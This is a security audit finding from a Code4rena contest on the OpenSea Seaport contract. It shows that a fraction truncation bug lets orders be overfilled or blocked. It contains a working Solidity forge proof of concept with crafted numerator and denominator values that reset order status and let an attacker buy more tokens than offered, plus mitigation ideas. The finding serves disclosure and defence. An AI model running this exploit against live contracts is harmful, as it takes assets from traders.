Lines of code

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderValidator.sol#L228

Vulnerability details

A clone of an issue submitted by cmichel which also outlines this issue as a potential DoS vector.

Impact

There's a bug in the partial order filling that allows an attacker to overfill any order (fill more than the total size of the order). This bug happens because the fractions are stored as uint120s in _orderStatus but intermediate computations to scale the fractions to the correct denominator are done in uint256. The truncation to uint120 can be used to "reset" an order to the uninitialized state where nothing has been filled yet.

This leads to losses for the offerer as they might sell more NFTs than they intended to or spent more assets on buying NFTs than they submitted with the order. This clearly breaks partial orders for all users and should be considered high severity. (The attack can also be turned into a griefing/DoS attack where partial fills overflow such that denominator > numerator for the _orderStatus and nobody can fill orders anymore.)

POC

Here's a forge test (gist) that shows the issue. Alice owns 40 ERC1155s and signs an order to sell only 2 of them. The attacker can overfill the order and buys 4 of her ERC1155s in this example. (They could buy all 40 if they wanted to.)

contract BugOverfill is BaseOrderTest {
    struct Context {
        ConsiderationInterface consideration;
        uint256 tokenId;
        uint256 tokenAmount;
        uint256 paymentAmount;
        address zone;
        bytes32 zoneHash;
        uint256 salt;
    }

    function testOverfillBug() public resetTokenBalancesBetweenRuns {
        Context memory context = Context(
            consideration,
            1337, /* tokenId */
            2, /* tokenAmount */
            0.1e18, /* paymentAmount */
            address(0), /* zone */
            bytes32(0), /* zoneHash */
            uint256(0) /* salt */
        );
        bytes32 conduitKey = bytes32(0);

        test1155_1.mint(
            alice,
            context.tokenId,
            // alice has a lot more ERC1155 than she's willing to sell
            context.tokenAmount * 10
        );

        _configureOfferItem(
            ItemType.ERC1155,
            context.tokenId,
            context.tokenAmount,
            context.tokenAmount
        );
        // set endAmount to 2 * startAmount
        _configureEthConsiderationItem(alice, context.paymentAmount);

        OrderParameters memory orderParameters = OrderParameters(
            address(alice),
            context.zone,
            offerItems,
            considerationItems,
            OrderType.PARTIAL_OPEN,
            block.timestamp,
            block.timestamp + 1000,
            context.zoneHash,
            context.salt,
            conduitKey,
            considerationItems.length
        );

        OrderComponents memory orderComponents = getOrderComponents(
            orderParameters,
            context.consideration.getNonce(alice)
        );

        bytes32 orderHash = context.consideration.getOrderHash(orderComponents);

        bytes memory signature = signOrder(
            context.consideration,
            alicePk,
            orderHash
        );

        delete offerItems;
        delete considerationItems;

        /*************** ATTACK STARTS HERE ***************/
        // @audit Partial Fill 1. These parameters have been hand-crafted to overflow perfectly s.t. we get to the zero state after two partial fills
        AdvancedOrder memory advancedOrder = AdvancedOrder(
            orderParameters,
            // buy 1/2
            2**58, /* numerator */
            2**59, /* denominator */
            signature,
            ""
        );
        context.consideration.fulfillAdvancedOrder{
            value: context.paymentAmount
        }(advancedOrder, new CriteriaResolver[](0), bytes32(0));

        // @audit Partial Fill 2 that resets totalFilled to zero
        advancedOrder = AdvancedOrder(
            orderParameters,
            // buy 1/2
            2**60, /* numerator */
            2**61, /* denominator */
            signature,
            ""
        );
        context.consideration.fulfillAdvancedOrder{
            value: context.paymentAmount
        }(advancedOrder, new CriteriaResolver[](0), bytes32(0));

        (, , uint256 totalFilled, uint256 totalSize) = context
            .consideration
            .getOrderStatus(orderHash);
        // @audit notice that we get back to the "uninitialized" state now and could repeat these two steps ad infinitum
        assertEq(totalFilled, 0);
        assertEq(totalSize, 0);

        // @audit Partial Fill 3: for demonstration purposes we do a full-fill here, even though we already partially filled before
        advancedOrder = AdvancedOrder(
            orderParameters,
            1, /* numerator */
            1, /* denominator */
            signature,
            ""
        );
        context.consideration.fulfillAdvancedOrder{
            value: context.paymentAmount
        }(advancedOrder, new CriteriaResolver[](0), bytes32(0));

        // bug: we bought more than the order's total size (context.tokenAmount)
        assertGt(test1155_1.balanceOf(address(this), context.tokenId), context.tokenAmount);
    }
}

One slightly tricky part of this attack is that the fractions must evenly divide the total order amount. The demonstrated attack works for all cases where the total order size is divisible by 2. For other cases, there also exists a sequence of fills that overflows the numerator and allows overfilling.

Recommended Mitigation Steps

There are several ways to address this. The hard part is that the code relies on this scaling so it can add up the fractions. It's not enough to simply revert if the scaled values (nominator, denominator) do not fit into a uint120 anymore. An attacker could try a griefing attack where they fill 2**118/2**119 (1/2). The next user cannot fill orders like 1/3 anymore as it can't be expressed with a denominator of 2**119 (as 2**119 does not divide 3) and choosing any other denominator would lead to the computation of a scaled denominator larger than uint120.max. One probably needs to reduce the final fraction by computing gcd onchain if you keep following this approach - which increases gas cost.

Alternatively, you could let users specify the final fraction, i.e., if it's currently filled 25% and they want to buy 50%, they specify 75% = 3/4. Then compute the diff to the current fill, make sure it divides evenly etc. and set the _orderStatus to the parameters. This comes with frontrunning issues.

code-423n4 / 2022-05-opensea-seaport-findings

Can overfill orders (DoS) #216

Lines of code

Vulnerability details

Impact

POC

Recommended Mitigation Steps